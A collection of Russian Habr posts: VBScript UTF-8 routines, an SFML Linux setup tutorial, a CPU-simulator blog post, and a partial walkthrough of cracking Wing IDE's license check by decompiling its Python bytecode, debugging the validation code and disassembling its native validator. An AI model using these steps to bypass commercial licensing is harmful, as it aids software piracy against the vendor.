Причиной разобраться в том, как же работает UTF-8 и что такое Юникод заставил тот факт, что VBScript не имеет встроенных функций работы с UTF-8. А так как ничего рабочего не нашел, то пришлось писть/дописывать самому. Опыт на мой взгляд полезный в любом случае. Для лучшего понимания начну с теории.
### О Юникоде
До появления Юникода широко использовались 8-битные кодировки, главные минусы которых очевидны:
* Всего 255 символов, да и то часть из них не графические;
* Возможность открыть документ не с той кодировкой, в которой он был создан;
* Шрифты необходимо создавать для каждой кодировки.
Так и было решено создать единый стандарт «широкой» кодировки, которая включала бы все символы (при чем сначала хотели в нее включить только обычные символы, но потом передумали и начали добавлять и экзотические). Юникод использует 1 112 064 кодовых позиций (больше чем 16 бит). Начало дублирует ASCII, а дальше остаток латиницы, кирилица, другие европейские и азиатские символы. Для обозначений символов используют шестнадцатеричную запись вида «U+xxxx» для первых 65k и с большим количеством цифр для остальных.
### О UTF-8
Когда-то я думал что есть Юникод, а есть UTF-8. Позже я узнал, что ошибался.
UTF-8 является лишь представлением Юникода в 8-битном виде. Символы с кодами меньше 128 представляются одним байтом, а так как в Юникоде они повторяют ASCII, то текст написанный только этими символами будет являться текстом в ASCII. Символы же с кодами от 128 кодируются 2-мя байтами, с кодами от 2048 — 3-мя, от 65536 — 4-мя. Так можно было бы и до 6-ти байт дойти, но кодировать ими уже ничего.
```
0x00000000 — 0x0000007F: 0xxxxxxx
0x00000080 — 0x000007FF: 110xxxxx 10xxxxxx
0x00000800 — 0x0000FFFF: 1110xxxx 10xxxxxx 10xxxxxx
0x00010000 — 0x001FFFFF: 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx
```
### Кодируем в UTF-8
Порядок действий примерно такой:
* Каждый символ превращаем в Юникод.
* Проверяем из какого символ диапазона.
* Если код символа меньше 128, то к результату добавляем его в неизменном виде.
* Если код символа меньше 2048, то берем последние 6 бит и первые 5 бит кода символа. К первым 5 битам добавляем 0xC0 и получаем первый байт последовательности, а к последним 6 битам добавляем 0x80 и получаем второй байт. Конкатенируем и добавляем к результату.
* Похожим образом можем продолжить и для больших кодов, но если символ за пределами U+FFFF придется иметь дело с UTF-16 суррогатами.
```
Function EncodeUTF8(s)
Dim i, c, utfc, b1, b2, b3
For i=1 to Len(s)
c = ToLong(AscW(Mid(s,i,1)))
If c < 128 Then
utfc = chr( c)
ElseIf c < 2048 Then
b1 = c Mod &h40
b2 = (c - b1) / &h40
utfc = chr(&hC0 + b2) & chr(&h80 + b1)
ElseIf c < 65536 And (c < 55296 Or c > 57343) Then
b1 = c Mod &h40
b2 = ((c - b1) / &h40) Mod &h40
b3 = (c - b1 - (&h40 * b2)) / &h1000
utfc = chr(&hE0 + b3) & chr(&h80 + b2) & chr(&h80 + b1)
Else
' Младший или старший суррогат UTF-16
utfc = Chr(&hEF) & Chr(&hBF) & Chr(&hBD)
End If
EncodeUTF8 = EncodeUTF8 + utfc
Next
End Function
Function ToLong(intVal)
If intVal < 0 Then
ToLong = CLng(intVal) + &H10000
Else
ToLong = CLng(intVal)
End If
End Function
```
### Декодируем UTF-8
* Ищем первый символ вида 11xxxxxx
* Считаем все последующие байты вида 10xxxxxx
* Если последовательность из двух байт и первый байт вида 110xxxxx, то отсекаем приставки и складываем, умножив первый байт на 0x40.
* Аналогично для более длинных последовательностей.
* Заменяем всю последовательность на нужный символ Юникода.
```
Function DecodeUTF8(s)
Dim i, c, n, b1, b2, b3
i = 1
Do While i <= len(s)
c = asc(mid(s,i,1))
If (c and &hC0) = &hC0 Then
n = 1
Do While i + n <= len(s)
If (asc(mid(s,i+n,1)) and &hC0) <> &h80 Then
Exit Do
End If
n = n + 1
Loop
If n = 2 and ((c and &hE0) = &hC0) Then
b1 = asc(mid(s,i+1,1)) and &h3F
b2 = c and &h1F
c = b1 + b2 * &h40
Elseif n = 3 and ((c and &hF0) = &hE0) Then
b1 = asc(mid(s,i+2,1)) and &h3F
b2 = asc(mid(s,i+1,1)) and &h3F
b3 = c and &h0F
c = b3 * &H1000 + b2 * &H40 + b1
Else
' Символ больше U+FFFF или неправильная последовательность
c = &hFFFD
End if
s = left(s,i-1) + chrw( c) + mid(s,i+n)
Elseif (c and &hC0) = &h80 then
' Неожидаемый продолжающий байт
s = left(s,i-1) + chrw(&hFFFD) + mid(s,i+1)
End If
i = i + 1
Loop
DecodeUTF8 = s
End Function
```
### Ссылки
[Юникод на Википедии](http://ru.wikipedia.org/wiki/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4)
[Исходник для ASP+VBScript](http://poofeg.ru/download/utf81.zip)
**UPD**: Обработка ошибочных последовательностей и ошибка с типом Integer, который возвращает AscW. | https://habr.com/ru/post/138173/ | null | ru | null |
# 1.3 SFML и Linux
*От переводчика: данная статья является третьей в цикле переводов официального руководства по библиотеке SFML. Прошлую статью можно найти [тут.](https://habrahabr.ru/post/279069/ "Предыдущая статья: SFML и Code::Blocks (MinGW)") Данный цикл статей ставит своей целью предоставить людям, не знающим язык оригинала, возможность ознакомится с этой библиотекой. SFML — это простая и кроссплатформенная мультимедиа библиотека. SFML обеспечивает простой интерфейс для разработки игр и прочих мультимедийных приложений. Оригинальную статью можно найти [тут](http://www.sfml-dev.org/tutorials/2.3/start-linux.php "Оригинальная статья: SFML and Linux"). Начнем.*
**Оглавление:**0.1 Вступление
1. Приступая к работе
1. [SFML и Visual Studio](https://habrahabr.ru/post/278977/ "Перейти к статье: SFML и Visual Studio")
2. [SFML и Code::Blocks (MinGW)](https://habrahabr.ru/post/279069/ "Перейти к статье: SFML и Code::Blocks (MinGW)")
3. [SFML и Linux](https://habrahabr.ru/post/279107/ "Перейти к статье: SFML и Linux")
4. [SFML и Xcode (Mac OS X)](https://habrahabr.ru/post/279147/ "Перейти к статье: SFML и Xcode (Mac OS X)")
5. [Компиляция SFML с помощью CMake](https://habrahabr.ru/post/279279/ "Перейти к статье: Компиляция SFML с помощью CMake")
2. Модуль System
1. [Обработка времени](https://habrahabr.ru/post/279347/ "Перейти к статье: Обработка времени")
2. [Потоки](https://habrahabr.ru/post/279653/ "Перейти к статье: Потоки")
3. [Работа с пользовательскими потоками данных](https://habrahabr.ru/post/279689/ "Перейти к статье: Работа с пользовательскими потоками данных")
3. Модуль Window
1. [Открытие и управление окнами](https://habrahabr.ru/post/279957/ "Перейти к статье: Открытие и управление окнами")
2. [Обработка событий](https://habrahabr.ru/post/280153/ "Перейти к статье: Обработка событий")
3. Работа с клавиатурой, мышью и джойстиками
4. Использование OpenGL
4. Модуль Graphics
1. Рисование 2D объектов
2. Спрайты и текстуры
3. Текст и шрифты
4. Формы
5. Проектирование ваших собственных объектов с помощью массивов вершин
6. Позиция, вращение, масштаб: преобразование объектов
7. Добавление специальных эффектов с шейдерами
8. Контроль 2D камеры и вида
5. Модуль Audio
1. Проигрывание звуков и музыки
2. Запись аудио
3. Пользовательские потоки аудио
4. Спатиализация: звуки в 3D
6. Модуль Network
1. Коммуникация с использованием сокетов
2. Использование и расширение пакетов
3. Веб-запросы с помощью HTTP
4. Передача файлов с помощью FTP
Вступление
----------
Эта статья — первая, которую вам следует прочитать, если вы используете SFML на Linux. В ней будет рассказано, как настроить ваш проект.
Установка SFML
--------------
Существуют разные подходы к установке SFML на Linux:
* Установка из репозитария вашего дистрибутива
* Скачивание предкомпилированного SDK и копирование файлов вручную
* Получение исходного кода, сборка и установка
Первый вариант предпочтительнее. Если версия SFML, которую вы хотите установить, доступна в официальном репозитарии, то установите ее, использую пакетный менеджер вашей операционной системы. Например, в Debian вы должны сделать следующее:
```
sudo apt-get install libsfml-dev
```
Третий вариант требует больше работы: нужно удовлетворить все зависимости SFML. Убедитесь, что CMake установлен и выполните несколько команд. Результатом этого станет пакет, адаптированный для вашей системы. Если вы хотите пойти по этому пути, прочитайте статью о [самостоятельной сборке SFML](http://www.sfml-dev.org/tutorials/2.3/compile-with-cmake.php "Как собрать SFML").
Наконец, второй вариант — отличный выбор для быстрой установки, если SFML не доступен в качестве официального пакета. Скачать SDK можно со [страницы загрузки](http://www.sfml-dev.org/download.php "Перейти на страницу загрузки"). Распакуйте его и скопируйте файлы в нужное место: либо в отдельный путь в вашей личной директории (например, */home/me/sfml*), либо в стандартную директорию (например, */usr/local*).
Компиляция программы, использующей SFML
---------------------------------------
В этой статье мы не будем говорить об интегрированных средах разработки, таких как Code::Blocks или Eclipse. Мы рассмотрим команды, необходимые для компиляции и компоновки в исполняемый файл, использующий SFML. Написание Makefile или настройка проекта в среде IDE выходит за рамки данной статьи. По данным темам достаточно материалов в интернете.
Если вы используете Code::Blocks, вы можете использовать [статью о настройке Code::Blocks для ОС Windows](https://habrahabr.ru/post/279069/#first_unread "SFML и Code::Blocks (MinGW)"); большая часть указаний должна подойти и для Linux. Вы можете не указывать компилятору и компоновщику где искать заголовочные файлы и библиотеки, если вы установили SFML по стандартному пути.
Создайте файл с исходным кодом. В этой статье мы назовем его «main.cpp». Поместите следующий код в файл main.cpp:
```
#include
int main()
{
sf::RenderWindow window(sf::VideoMode(200, 200), "SFML works!");
sf::CircleShape shape(100.f);
shape.setFillColor(sf::Color::Green);
while (window.isOpen())
{
sf::Event event;
while (window.pollEvent(event))
{
if (event.type == sf::Event::Closed)
window.close();
}
window.clear();
window.draw(shape);
window.display();
}
return 0;
}
```
Теперь давайте скомпилируем его:
```
g++ -c main.cpp
```
В случае, если SFML установлен по нестандартному пути, вам необходимо сообщить компилятору, где найти заголовочные файлы SFML (файлы с расширением .hpp):
```
g++ -c main.cpp -I<путь-к-установке-SFML>/include
```
Тут *<путь-к-установке-SFML>* — директория, в которую вы скопировали SFML. Например */home/me/sfml*.
Затем необходимо связать скомпилированный файл с библиотекой SFML для того, чтобы получить итоговый исполняемый файл. SFML состоит из пяти модулей: system, window, graphics, audio и network и библиотек для каждого из них. Что бы прокомпоновать ваше приложение с библиотекой SFML, вы должны добавить опцию "-lsfml-xxx" к команде компоновки. Например, "-lsfml-graphics" для модуля graphics (префикс «lib» и расширение ".so" библиотеки должны быть опущены).
```
g++ main.o -o sfml-app -lsfml-graphics -lsfml-window -lsfml-system
```
Если вы установили SFML по нестандартному пути, вам необходимо сообщить компоновщику, где найти библиотеки SFML (файлы с расширением .so).
```
g++ main.o -o sfml-app -L<путь-к-установке-SFML>/lib -lsfml-graphics -lsfml-window -lsfml-system
```
Теперь мы можем запустить собранную программу:
```
./sfml-app
```
Если SFML установлен по нестандартному пути, вам необходимо сообщить динамическому компоновщику, где найти библиотеки SFML, определив переменную окружения LD\_LIBRARY\_PATH:
```
export LD_LIBRARY_PATH=/lib && ./sfml-app
```
Запустите программу, и, если все было сделано правильно, вы должны увидеть это:
Следующая статья: [SFML и Xcode (Mac OS X)](https://habrahabr.ru/post/279147/#first_unread "Перейти к статье: SFML и Xcode (Mac OS X)") | https://habr.com/ru/post/279107/ | null | ru | null |
# Я не знал, как работают процессоры, поэтому написал программный симулятор
Несколько месяцев назад меня вдруг поразила мысль, что я понятия не имею о принципах работы компьютерного железа. Я до сих пор не знаю, как работают *современные* компьютеры.
Я прочитал книгу [«Но откуда он знает?»](http://buthowdoitknow.com/) Кларка Скотта с детальным описанием простого 8-битного компьютера: начиная с логических вентилей, ОЗУ, транзисторов процессора, заканчивая арифметико-логическим устройством и операциями ввода-вывода. И мне захотелось реализовать всё это в коде.
Хотя я не *настолько* интересуюсь физикой микросхем, но книга просто скользит по волнам и красиво объясняет электросхемы и как биты перемещаются по системе — от читателя не требуется знание электротехники. Но мне недостаточно текстового описания. Я должен видеть вещи в действии и учиться на своих неизбежных ошибках. Так я начал реализацию схем в коде. Путь оказался тернист, но поучителен.
Результат моей работы можно посмотреть в репозитории [simple-computer](https://github.com/djhworld/simple-computer): простом вычислителе. Он простой и он вычисляет.
*Пример программ*
Код процессора реализован как [ужасная куча логических вентилей, которые включаются и выключаются](https://github.com/djhworld/simple-computer/blob/master/cpu/cpu.go#L763), но он работает. Я [прогнал модульные тесты](https://github.com/djhworld/simple-computer/blob/master/cpu/cpu_test.go), а все мы знаем, что модульные тесты — неопровержимое доказательство, что программа работает.
Код обрабатывает [ввод с клавиатуры](https://github.com/djhworld/simple-computer/blob/master/io/keyboard.go#L20) и отображает текст [на дисплее](https://github.com/djhworld/simple-computer/blob/master/io/display.go#L13), используя кропотливо созданный набор глифов для профессионального шрифта, который я назвал *Daniel Code Pro*. Единственный чит: чтобы взять ввод с клавиатуры и вывести результат, мне пришлось подключить каналы через [GLFW](https://github.com/djhworld/simple-computer/blob/master/cmd/simulator/glfw_io.go), но в остальном это полностью программная симуляция электросхемы.
Я даже написал [грубый ассемблер](https://github.com/djhworld/simple-computer/blob/master/asm/assembler.go), который на многое открыл глаза, мягко говоря. Он не идеален. На самом деле даже немного дерьмовый, но он показал мне проблемы, которые другие люди уже решили много-много лет назад.
Но зачем ты это делаешь?
========================
*«Тринадцатилетние дети собирают процессоры в Minecraft. Позови, когда сможешь сделать **настоящий** CPU из телеграфных реле»*
Моя ментальная модель устройства CPU застряла на уровне учебников по информатике для начинающих. Процессор для [эмулятора Gameboy, который я написал в 2013 году](https://github.com/djhworld/gomeboycolor), на самом деле не похож на современные CPU. Даже если эмулятор — это просто конечный автомат (машина состояний), он не описывает состояния на уровне логических вентилей. Почти всё можно реализовать с помощью только оператора `switch` и сохраняя состояние регистров.
Я хочу лучше разобраться, как всё устроено, потому что не знаю, например, что такое кэш L1/L2 и конвейеризация и я не совсем уверен, что понимаю статьи об уязвимостях Meltdown и Spectre. Кто-то сказал, что они оптимизируют код таким образом, чтобы использовать кэш процессора, но я не знаю, как это проверить, кроме как поверить на слово. Я не совсем уверен, что означают все инструкции x86. Не понимаю, как люди отправляют задачи на GPU или TPU. И вообще, что такое TPU? Я не знаю, как использовать SIMD-инструкции.
Всё это построено на фундаменте, который нужно усвоить в первую очередь. Это значит вернуться к основам и сделать что-то простое. В вышеупомянутой книге Кларка Скотта описан простейший компьютер. Вот почему я начал с него.
Слава Скотту! Он работает!
==========================
Компьютер Скотта — это 8-разрядный процессор, подключённый к 256 байтам ОЗУ, все они подключены через 8-разрядную системную шину. У него 4 регистра общего назначения и [17 машинных инструкций](https://github.com/djhworld/simple-computer#instructions). Кто-то сделал [визуальный симулятор для веба](http://www.buthowdoitknow.com/but_how_do_it_know_cpu_model.html): это действительно здорово. Страшно подумать, сколько времени потребовалось, чтобы отследить все состояния схемы!
[](https://habrastorage.org/webt/t_/hm/rp/t_hmrpg_rrprxwh5uiiybl2jf6w.png)
*Схема со всеми компонентам процессора Скотта. Копирайт 2009-2016. Зигберт Фильбингер и Джон Кларк Скотт*
Книга сопровождает вас по маршруту от скромных логических вентилей до битов в памяти и регистров, а затем продолжает наслаивать компоненты, пока вы не получите что-то похожее на схему выше. Очень рекомендую прочитать книгу, даже если вы уже знакомы с концепциями. Только не версию Kindle, потому что диаграммы иногда трудно увеличить и разобрать на экране «читалки». По-моему, это многолетняя проблема Kindle.
Мой компьютер отличается от версии Скотта разве что тем, что я обновил его до 16 бит, чтобы увеличить объём доступной памяти, ведь хранение только глифов для таблицы ASCII занимает большую часть 8-битной машины Скотта, оставляя совсем мало места для полезного кода.
Мой процесс разработки
======================
В целом, разработка шла по такой схеме: чтение текста, изучение диаграмм, а затем попытка реализовать их на языке программирования общего назначения и определённо не использовать никаких специализированных инструментов для проектирования интегральных схем. Я написал симулятор на Go просто потому, что немного знаком с этим языком. Скептики могут сказать: «Болван! Неужели ты не мог изучить [VHDL](https://en.wikipedia.org/wiki/VHDL) или [Verilog](https://en.wikipedia.org/wiki/Verilog), или [LogSim](http://www.cburch.com/logisim/), или ещё что-то. Но к тому моменту я уже написал свои биты, байты и логические вентили и погрузился слишком глубоко. Может, в следующий раз я выучу эти языки и пойму, сколько времени потратил впустую, но это мои проблемы.
В большой схеме в компьютере просто передаётся куча булевых значений, поэтому подходит любой язык, который дружит с булевой алгеброй.
Наложение схемы на эти булевы значения помогает нам (программистам) вывести смысл, а самое главное — решить, какой [порядок байтов](https://en.wikipedia.org/wiki/Endianness) будет использовать система, и убедиться, что все компоненты передают данные по шине в правильном порядке.
Это было очень трудно реализовать. Ради смещения я выбрал представление с обратным порядком байтов, но при тестировании ALU никак не мог понять, почему выходят неправильные цифры. Мой кот услышал много, очень много непечатных выражений.
Разработка шла не быстро: возможно, она заняла около месяца-двух моего свободного времени. Но когда только процессор успешно выполнил операцию , я был на седьмом небе от счастья.
Всё шло своим чередом, пока дело не дошло до ввода-вывода. Книга предлагала дизайн системы с простой клавиатурой и интерфейсом дисплея, чтобы вводить данные в машину и выводить результат. Ну, *мы уже зашли так далеко*, нет смысла останавливаться на полпути. Я поставил цель реализовать набор на клавиатуре и отображение букв на дисплее.
Периферия
=========
В качестве аппаратного интерфейса между CPU и внешним миром периферийные устройства используют [шаблон адаптера](https://en.wikipedia.org/wiki/Adapter_pattern). Наверное, несложно догадаться, что этот шаблон позаимствован из проектирования программного обеспечения.
[](https://habrastorage.org/webt/dc/ge/e_/dcgee_zl9m4i_wrzlkovzh8pnjc.png)
*Как адаптеры ввода-вывода подключаются к окну GLFW*
С таким разделением оказалось довольно просто подключить клавиатуру и дисплей к окну под управлением GLFW. На самом деле я просто вытащил большую часть кода из своего [эмулятора](https://github.com/djhworld/gomeboycolor-glfw) и немного изменил его, чтобы каналы Go работали как сигналы ввода/вывода.
Запускаем компьютер
===================
Вероятно, это самая сложная часть, по крайней мере, самая громоздкая. Трудно писать на ассемблере с таким ограниченным набором инструкций, а на моём грубом ассемблере ещё хуже, потому что вы не можете обматерить никого, кроме себя.
Самой большой проблемой стало жонглирование четырьмя регистрами, отслеживать их, вытаскивая данные из регистров и временно сохраняя их в памяти. В процессе я вспомнил, что у процессора Gameboy есть регистр указателя стека для удобства выгрузки и загрузки регистров. К сожалению, у этого компьютера нет такой роскоши, поэтому приходилось постоянно вручную перемещать данные в память и обратно.
Я решил потратить время только на одну псевдоинструкцию `CALL`, чтобы вызвать функцию, а затем вернуться к точке. Без этого доступны вызовы только на один уровень в глубину.
Кроме того, поскольку машина не поддерживает прерывания, пришлось реализовать ужасный код опроса состояния клавиатуры. В книге обсуждаются шаги, необходимые для реализации прерываний, но это серьёзно усложняет схему.
Но хватить ныть, я всё-таки написал [четыре программы](https://github.com/djhworld/simple-computer/blob/master/_programs/README.md), и большинство из них используют какой-то общий код для рендеринга шрифтов, ввода с клавиатуры и т. д. Это не совсем операционная система, но даёт понимание, что делает простая ОС.
Это было нелегко. Самая сложная часть программы text-writer — правильно рассчитать, когда перейти к новой строке или что происходит, когда вы нажимаете клавишу Enter.
```
main-getInput:
CALL ROUTINE-io-pollKeyboard
CALL ROUTINE-io-drawFontCharacter
JMP main-getInput
```
*Основной цикл программы text-writer*
Я не удосужился реализовать клавишу Backspace и клавиши-модификаторы. Зато понял, сколько труда требует разработка текстовых редакторов и насколько это утомительно.
Выводы
======
Это был весёлый и очень полезный для меня проект. В разгар программирования на ассемблере я почти забыл о логических вентилях, работающих внизу. Я поднялся на верхние уровни абстракции.
Хотя этот процессор очень прост и далёк от CPU в моём ноутбуке, но мне кажется, что проект многому меня научил, в частности:
* Как биты перемещаются по шине между всеми компонентами.
* Как работает *простой* ALU.
* Как выглядит *простой* цикл Fetch-Decode-Execute.
* Что машина без регистра указателя стека и концепции стека — отстой.
* Что машина без прерываний тоже отстой.
* Что такое ассемблер и что он делает.
* Как периферийные устройства взаимодействуют с простым процессором.
* Как работают *простые* шрифты и как отображать их на дисплее.
* Как может выглядеть *простая* операционная система.
Так что дальше? В книге говорится, что никто не производил таких компьютеров с 1952 года. Это значит, что мне придётся изучить материал за последние 67 лет. Это займёт меня на какое-то время. Я вижу, что [руководство по x86 составляет 4800 страниц](https://software.intel.com/sites/default/files/managed/39/c5/325462-sdm-vol-1-2abcd-3abcd.pdf): вполне достаточно для приятного, лёгкого чтения перед сном.
Может, я немного побалуюсь с операционной системой, языком C, убью вечер с [набором для сборки PiDP-11](https://obsolescence.wixsite.com/obsolescence/pidp-11) и паяльником, а потом заброшу это дело. Не знаю, посмотрим.
Если серьёзно, то я думаю исследовать архитектуру RISC, возможно, RISC-V. Вероятно, лучше начать с ранних процессоров RISC, чтобы понять их происхождение. У современных процессоров гораздо больше функций: кэши и прочее, я хочу разобраться в них. Там нужно многое изучить.
Пригодятся ли эти знания на моей основной работе? Возможно, пригодятся, хотя вряд ли. В любом случае, мне это нравится, так что неважно. Спасибо за чтение! | https://habr.com/ru/post/453158/ | null | ru | null |
# Исследование защиты Wing IDE
Доброго здравия! Не удивлюсь, что Вы раньше даже не слышали об этой программе. Как и я, до того дня, когда мне пригодился **Python Debugger**. Да, знаю, есть **pdb**, но его функционал и то, как он представлен, мне совершенно не приглянулось. После непродолжительных поисков я наткнулся на этот замечательный продукт. Тут есть все, что может пригодиться в отладке ваших **Python** приложений (скажу сразу: данный язык я не изучал, поэтому, если какие-то неточности всплывут, просьба не ругаться).
##### **Предостережение: повторяя действия из статьи, вы действуете на свой страх и риск!**
#### **Итак, мы начинаем...**
Пациент, сразу скажу, необычный. Во-первых: он поставляется с исходниками (!!!), пускай и в байт-коде; во-вторых, как это иногда бывает… в общем, увидите.
Первым делом, качаем программу ([**Wing IDE Professional v 5.1.4**](http://wingware.com/pub/wingide/5.1.4/wingide-5.1.4-1.exe)). Устанавливаем, осматриваем папку. Главный исполняемый файл находится по адресу **./bin/wing.exe**. Запустим его. Ругается на отсутствие **Python**, поэтому установим и его. Нужен версии **2** (на данный момент это версия **2.7.9**). Снова запускаем программу. На этот раз предлагает установить патчи, и перезапуститься. Так и сделаем.
Теперь вылезает окошко с запросом лицензии (т.к. у нас про-версия). Введем какую-нибудь ерунду:
Получаем следующий ответ:
Что забавно: программа нам сама говорит длину ключа (20, не учитывая дефисов), и символы, с которых он должен начинаться. В принципе, с этого уже можно и начать исследовать защиту — найдем эту строчку в файлах программы.
Дальше — интереснее. Результат поиска нашелся в файле **./bin/2.7/src.zip**!
Да-да. Все действительно так: программа идет с исходниками. В них-то нам и придется копаться.
#### **Этап два: роемся в исходниках**
Включим в **Total Commander** поиск по архивам, и найдем ту строку снова. Строка лежит в файле: **./bin/2.7/src.zip/process/wingctl.pyo**. *PYO*-файлы представляют из себя бинарники с "*оптимизированным*" байт-кодом **Python**.
К нашему счастью, для Питона существует парочка декомпиляторов байт-кода. Чтобы не утруждать Вас поисками, дам ссылки на те, которые мне пригодились:
1. [**Easy Python Decompiler** (*EPD*)](http://sourceforge.net/projects/easypythondecompiler/) — оболочка, в которой зашиты два декомпилятора (**Uncompyle2** и **Decompyle++**);
2. [**Форк Uncompyle2**](https://github.com/wibiti/uncompyle2) — иногда распаковывает то, что не могут распаковать другие.
Итак, распакуем весь архив **src.zip** в папку **src** (рядом уже есть папка **src**, пускай туда распаковывается и все остальное) и натравим на нее **EPD**:
Дожидаемся окончания процесса, и идем осматривать что получилось. А получились на выходе декомпилированные файлы с окончанием **\_dis**. Их мы переименуем в **.py**. Все бы хорошо, но, выясняется, что имеются также файлы с окончанием **\_dis\_failed**, что говорит о том, что эти файлы декомпилятор не осилил. К счастью, файл только один: **edit/editor.pyo\_dis\_failed**
Попробуем на него натравить **Decompyle++**… Та же беда. Не зря я дал ссылку на запасной декомпилятор, т.к. именно он и сделал то, что не удалось другим. Теперь удалим все **pyo**/**pyc** файлы из папки src, а **.py\*\_dis** переименуем в **.py**.
Далее повторим все вышеописанное для архива **opensource.zip**, распаковав его в соседнюю одноименную папку. Архив **external.zip** я решил не трогать, т.к., осмотрев его, можно увидеть, что там лежат библиотеки, которые можно установить отдельно для нашего Питона. Так и сделаем:
1. ```
pip install docutils
```
2. [**py2pdf**](http://python.net/crew/gherman/programs/py2pdf/py2pdf-0.5.zip) — его положим в папку **external**;
3. [**Imaging-1.1.7**](http://effbot.org/downloads/PIL-1.1.7.win32-py2.7.exe) — запустить и установить. Из папки **external** можно удалить;
4. [**pygtk**](http://ftp.gnome.org/pub/GNOME/binaries/win32/pygtk/2.24/pygtk-2.24.0.win32-py2.7.exe) — то же, что и с предыдущим файлов.
Остальные библиотеки (**pyscintilla2** и **pysqlite**) просто извлечем из архива **external.zip**, и декомпилируем, как и раньше.
#### **Этапы три и четыре: собственно исходный код. Отладка.**
Порыскав по питоновским скриптам, я наткнулся на файлик **wing.py** в корне папки с программой. И, первый же комментарий нам подсказывает:
```
# Top level script for invoking Wing IDE. If --use-src is specified
# as an arg, then the files in WINGHOME/src, WINGHOME/external,
# WINGHOME/opensource will be used; otherwise, the files in the version
# specific bin directory will be used if it exists.
```
В двух словах: если скрипту дать параметр **--use-src**, то при запуске будут использоваться исходники из папок **src**, **external**, **opensource** корневого каталога с **Wing IDE** (а не со скриптом).
Заглянув в корневую папку, я обнаружил еще одну папку **src**, и **.py**-файлы в ней. Подкинем их в нашу папку **src**, с перезаписью (здесь все таки оригиналы, а не декомпилированные файлы).
Теперь все три папки (указанные чуть выше), скопируем в корневой каталог программы. Попробуем подебажить…
Запускаем **Wing IDE**, и открываем в ней файл **wing.py** из каталога **bin**. Далее в меню **Debug -> Debug Environment...** в поле параметров указываем **--use-src**. Теперь стартанем дебаггер (клавиша **F5**). Если все махинации с копированиями папок прошли успешно, мы получим вторую копию запущенной **Wing IDE**. Прекрасно!
Далее: откроем в родительском **Wing IDE** тот файлик, в котором мы нашли ранее строку о плохом **license id** (**wingctl.py**), и поставим бряку до этого сообщения:
В отлаживаемом **Wing IDE** зайдем в меню **Help -> Enter License...**, и введем ключик согласно правилам (помните?: **20** символов, при том, первый из набора **['T', 'N', 'E', 'C', '1', '3', '6']**):
Жмем **Continue** и попадаем на ~~бабки~~ бряку. Первая же интересная функция: **abstract.ValidateAndNormalizeLicenseID(id)**. Зайдем в нее по **F7**. Там еще одна: **\_\_ValidateAndNormalize(id)**. Зайдем и в нее.
Первая проверка на валидность:
```
for c in code:
if c in ('-', ' ', '\t'):
pass
elif c not in textutils.BASE30:
code2 += c
badchars.add(c)
else:
code2 += c
```
Видим, что от нас требуют, чтобы символы **License ID** принадлежали набору **textutils.BASE30**:
```
BASE30 = '123456789ABCDEFGHJKLMNPQRTVWXY'
```
Вроде других проверок в **\_\_ValidateAndNormalize(id)** нет. Исправляем введенный нами идентификатор и повторяем снова. Проверку на первый символ мы уже прошли:
```
if len(id2) > 0 and id2[0] not in kLicenseUseCodes:
errs.append(_('Invalid first character: Should be one of %s') % str(kLicenseUseCodes))
```
А вот и второй символ:
```
if len(id2) > 1 and id2[1] != kLicenseProdCode:
```
```
kLicenseProdCodes = {config.kProd101: '1',
config.kProdPersonal: 'L',
config.kProdProfessional: 'N',
config.kProdEnterprise: 'E'}
kLicenseProdCode = kLicenseProdCodes[config.kProductCode]
```
Т.к. у нас **Professional** версия, то второй символ должен быть **N** — исправляем, и возвращаемся. **abstract.ValidateAndNormalizeLicenseID(id)** прошелся без ошибок. Прекрасно. Упс:
```
if len(errs) == 0 and id[0] == 'T':
errs.append(_('You cannot enter a trial license id here'))
```
Фиксим (я выбрал **E**), и продолжаем. Пробежавшись глазами ниже по коду, ничего дополнительно к предыдущим проверкам я не обнаружил, поэтому смело отпустил отладку далее по **F5**. Новое окно:
Вводим случайный текст, получаем сообщение об ошибке (опять **20** символов, и начинаться код активации должен с **AXX**), находим его в файлах, ставим бряку:
Первая функция проверки: **abstract.ValidateAndNormalizeActivation(act)**. В ней снова проверка на принадлежность **BASE30**. Проверка на префикс, которую мы уже прошли:
```
if id2[:3] != kActivationPrefix:
errs.append(_("Invalid prefix: Should be '%s'") % kActivationPrefix)
```
Следующее интересное место:
```
err, info = self.fLicMgr._ValidateLicenseDict(lic2, None)
if err == abstract.kLicenseOK:
```
Заходим в **self.fLicMgr.\_ValidateLicenseDict**. Тут формируется хэш от лицензии:
```
lichash = CreateActivationRequest(lic)
act30 = lic['activation']
if lichash[2] not in 'X34':
hasher = sha.new()
hasher.update(lichash)
hasher.update(lic['license'])
digest = hasher.hexdigest().upper()
lichash = lichash[:3] + textutils.SHAToBase30(digest)
errs, lichash = ValidateAndNormalizeRequest(lichash)
```
Если посмотреть на содержимое **lichash** после выполнения этого блока, можно заметить, что текст ее похож на **request code**, отображаемый в окошке ввода кода активации, хотя несколько цифр и отличается. Ладно, будем думать, что здесь имеют место быть какие-то рандомные части, не влияющие на активацию (что, кстати, далее подтвердится!).
Далее из кода активации отрезают три первых символа, убирают дефисы, преобразовывают в **BASE16**, и дополняют нулями, если нужно:
```
act = act30.replace('-', '')[3:]
hexact = textutils.BaseConvert(act, textutils.BASE30, textutils.BASE16)
while len(hexact) < 20:
hexact = '0' + hexact
```
И вот оно, самое интересное:
```
valid = control.validate(lichash, lic['os'], lic['version'][:lic['version'].find('.')], hexact)
```
Какой-то **control** вызывает функцию **validate**, передавая ему **lichash** (**request code**), имя операционной системы, для которой делается ключ, версию программы, и преобразованный код активации. Почему я остановил на этом месте внимание? Дело в том, что этот **control** — это **pyd**-файл (в чем можно убедиться, добавив имя объекта в **watch**, и глянув поле **\_\_file\_\_**), которые представляют из себя обычные **DLL** с одной экспортируемой функцией (не **validate**), которая дает Питону информацию о том, что она умеет делать. Ну что же, давайте посмотрим на нее со стороны декомпилятора **Hex Rays**…
#### **Этап пять: это уже не Python**
Затащим в **IDA Pro** наш ***control*** (**ctlutil.pyd**) и посмотрим на экспортируемую функцию **initctlutil**:
```
int initctlutil()
{
return Py_InitModule4(aCtlutil, &off_10003094, 0, 0, 1013);
}
```
**off\_10003094** представляет из себя структуру, в которой указаны имена и адрес экспортируемых методов. Вот и наш **validate**:
```
.data:100030A4 dd offset aValidate ; "validate"
.data:100030A8 dd offset sub_10001410
```
Из всего кода, который содержит процедура **sub\_10001410** самым интересным выглядит этот:
```
if ( sub_10001020(v6, &v9) || strcmp(&v9, v7) )
{
